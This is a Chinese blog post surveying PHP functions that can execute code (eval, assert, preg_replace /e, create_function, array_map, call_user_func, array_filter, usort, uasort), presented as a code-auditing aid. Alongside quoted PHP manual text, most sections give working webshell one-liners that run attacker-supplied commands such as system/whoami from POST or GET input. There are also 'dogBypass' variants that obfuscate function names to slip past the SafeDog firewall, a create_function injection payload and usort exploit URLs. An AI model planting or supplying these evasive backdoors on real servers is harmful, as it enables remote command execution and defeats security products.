php代码审计的函数,代码审计-代码执行函数总结

本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

背景:

最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。

31ae3322196eedecb66402e22b628bbd.png

0x00 eval结构图

eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。

0x01 assert函数

最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告

如:<?php assert('1==2');?>

则会提醒:PHP Warning:  assert(): Assertion “1==2” failed in /usercode/file.php on line 1。

【利用示例代码】

//?cmd=phpinfo()

assert($_GET['cmd']);

?>

【dogBypass】

//cmd=phpinfo()

function cl  (){

return 'assert';

}

$a = cl();

$a($_POST['cmd']);

?>

assert_options  用于设置/获取断言的各种标志。

``````

源自官方的解释,关键点:失败回调函数。

参数:

what

标志INI 设置默认值描述

ASSERT_ACTIVEassert.active1启用 assert() 断言

ASSERT_WARNINGassert.warning1为每个失败的断言产生一个 PHP 警告(warning)

ASSERT_BAILassert.bail0在断言失败时中止执行

ASSERT_QUIET_EVALassert.quiet_eval0在断言表达式求值时禁用 error_reporting

ASSERT_CALLBACKassert.callback(NULL)断言失败时调用回调函数

断言标志

value

标志的新值。

返回值:返回任意标志的原始设置,出错时返回 FALSE。

【示例代码】

// 处理断言失败时的函数

function assert_failure()

{

echo 'Assert failed';

}

// 我们的测试函数

function test_assert($parameter)

{

assert(is_bool($parameter));

}

// 设置断言标志

assert_options(ASSERT_ACTIVE,   true);

assert_options(ASSERT_BAIL,     true);

assert_options(ASSERT_WARNING,  false);

assert_options(ASSERT_CALLBACK, 'assert_failure');

// 让一个断言会失败

test_assert(1);

// 由于 ASSERT_BAIL 是 true,这里永远也到不了

echo 'Never reached';

?>

``````

0x02 preg_replace函数 : php<=5.5

执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

搜索subject中匹配pattern的部分, 以replacement进行替换。

当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。

`````

源自官方的解释;

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符,preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义.

`````

【示例代码】

//?cmd=phpinfo()

echo preg_replace("/test/e",$_GET["cmd"],"jutsttest");

?>

0x03 creat_function函数

用于创建匿名函数, 使用了eval的操作存在某些安全性问题。

`````

源自官方的解释:

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

语法:

string create_function ( string $args , string $code )

参数:

argsThe function arguments.

codeThe function code.

Caution :

This function internally performs an eval() and as such has the same security issues as eval().Additionally it has bad performance and memory usage characteristics.

返回值:

Returns a unique function name as a string, or FALSE on error。

``````

【用法理解】

$foo = create_function( '$x', 'return $x * 2;' );

echo $foo( 10 );

?>

相当于:

function foo ($x){

return $x *= 2;

};

echo foo( 10 );

?>

create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html  讲解更为清晰)

1. 获取参数, 函数体

2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串

3. eval之

4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错

5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++

6. 用新的函数名替换__lambda_func

7. 返回新的函数名

问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】

详细介绍:https://www.t00ls.net/viewthread.php?tid=20774

国文参考:http://lovexm.blog.51cto.com/3567383/1743442

外文参考:https://ttmm.io/tech/php-security-lambdas/

利用示例代码 &【dogBypass】

//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*

$name1 = $_POST['name1'];

$name2 = $_POST['name2'];

$str = 'return'.$name1." & ".$name2.';';

echo $str.'
';

$newfunc = create_function('$name1',$str);

问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】有疑问:如何函数回调的例子。

``````

源自官方的解释:

Using anonymous functions as callback functions

$av = array("the ", "a ", "that ", "this ");

array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));

print_r($av);

?>

以上例程会输出:

Array

(

[0] => the mango

[1] => a mango

[2] => that mango

[3] => this mango

)

``````

示例代码,例子不好没想到怎么构造:

function evil($evil)

{

echo $evil.':test | ';

}

$av = array("the ", "a ", "that ", "this ");

array_walk($av, create_function('&$v,$k', 'evil($v);'));

print_r($av);

?>

0x04 array_map函数

`````

源自官方的解释:

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数

说明:

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

参数:

callback

回调函数,应用到每个数组里的每个元素。

array1

数组,遍历运行 callback 函数。

...

数组列表,每个都遍历运行 callback 函数。

返回值:

返回数组,包含 callback 函数处理之后 array1 的所有元素。

Example #1 array_map() 例子

function cube($n)

{

return($n * $n * $n);

}

$a = array(1, 2, 3, 4, 5);

$b = array_map("cube", $a);

print_r($b);

?>

这使得 $b 成为:

Array

(

[0] => 1

[1] => 8

[2] => 27

[3] => 64

[4] => 125

)

``````

【利用示例代码】

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$new_array=array_map($bad_func,$bad_array);

//print_r($new_array);

?>

【dogBypass】

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$func_evil=trim(' a r ra y_ma p  ');

$func_evil =str_replace(" ", "", $func_evil);

$new_array=$func_evil($bad_func,$bad_array);

//print_r($new_array);

?>

0x05 call_user_func函数

`````

源自官方的解释:

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。

说明:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数:

callback

将被调用的回调函数(callable)。

parameter

0个或以上的参数,被传入回调函数。

返回值:

返回回调函数的返回值。

call_user_func() 的例子

function barber($type)

{

echo "You wanted a $type haircut, no problem\n";

}

call_user_func('barber', "mushroom");

call_user_func('barber', "shave");

?>

以上例程会输出:

You wanted a mushroom haircut, no problem

You wanted a shave haircut, no problem

`````

利用示例代码 &【dogBypass】

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

call_user_func($bad_func,$bad_cmd);

?>

0x06  call_user_func_array函数

``````

源自官方的解释:

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

说明:

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

参数:

callback

被调用的回调函数。

param_arr

要被传入回调函数的数组,这个数组得是索引数组。

返回值:

返回回调函数的结果。如果出错的话就返回FALSE

Example #1 call_user_func_array()例子

function foobar($arg, $arg2) {

echo __FUNCTION__, " got $arg and $arg2\n";

}

class foo {

function bar($arg, $arg2) {

echo __METHOD__, " got $arg and $arg2\n";

}

}

// Call the foobar() function with 2 arguments

call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments

$foo = new foo;

call_user_func_array(array($foo, "bar"), array("three", "four"));

?>

以上例程的输出类似于:

foobar got one and two

foo::bar got three and four

`````

利用示例代码 &【dogBypass】

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_array[0]=$_POST['cmd'];

call_user_func_array($bad_func,$bad_array);

?>

0x07 array_filter函数

``````

源自官方的解释:

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_filter — 用回调函数过滤数组中的单元

说明:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数:

array

要循环的数组

callback

使用的回调函数

如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。

flag

决定callback接收的参数形式:

•ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数

•ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值

返回值:

返回过滤后的数组。

Example #1 array_filter() 例子

function odd($var)

{

// returns whether the input integer is odd

return($var & 1);

}

function even($var)

{

// returns whether the input integer is even

return(!($var & 1));

}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);

$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";

print_r(array_filter($array1, "odd"));

echo "Even:\n";

print_r(array_filter($array2, "even"));

?>

以上例程会输出:

Odd :

Array

(

[a] => 1

[c] => 3

[e] => 5

)

Even:

Array

(

[0] => 6

[2] => 8

[4] => 10

[6] => 12

)

``````

利用代码示例&【dogBypass】

//func=system&cmd=whoami

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array($cmd);

$evil = trim('a r ra y_fi lt er');

$evil = str_replace(" ", "", $evil);

$evil($array1, $func);

?>

0x08 usort函数

`````

源自官方的解释:

(PHP 4, PHP 5, PHP 7)

usort — 使用用户自定义的比较函数对数组中的值进行排序

说明:

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

参数

array

输入的数组

cmp_function

在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。

int callback ( mixed $a, mixed $b )

Caution

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返回值

成功时返回 TRUE, 或者在失败时返回 FALSE。

``````

利用代码示例:

源自 am0s师傅的博客:http://www.am0s.com/functions/97.html

php>=5.6

GET: [['$a=0','eval($_POST["x"])'],'assert'];

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

php>=<5.6

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

这里am0s师傅利用到了PHP5.6的一个特性:

f423544aae520afa39db2ed4979b7957.png

利用代码示例&【dogBypass】

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  usort($array1, $func);

?>

0x09 uasort函数

``````

(PHP 4, PHP 5, PHP 7)

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

说明:

bool uasort ( array &$array , callable $value_compare_func )

本函数对数组排序并保持索引和单元之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数:

array

输入的数组。

value_compare_func

用户自定义比较函数的例子请参考 usort() 和 uksort()。

返回值:

成功时返回 TRUE, 或者在失败时返回 FALSE。

Example #1 uasort() 的基本例子

// Comparison function

function cmp($a, $b) {

if ($a == $b) {

return 0;

}

return ($a < $b) ? -1 : 1;

}

// Array to be sorted

$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);

print_r($array);

// Sort and print the resulting array

uasort($array, 'cmp');

print_r($array);

?>

以上例程会输出:

Array

(

[a] => 4

[b] => 8

[c] => -1

[d] => -9

[e] => 2

[f] => 5

[g] => 3

[h] => -4

)

Array

(

[d] => -9

[h] => -4

[c] => -1

[e] => 2

[g] => 3

[a] => 4

[f] => 5

[b] => 8

)

``````

利用代码 示例& 【dogBypass】

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  uasort($array1, $func);

?>

总结:

希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,后续会逐步补充些新发现的代码执行函数以及实际的代码审计案例,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值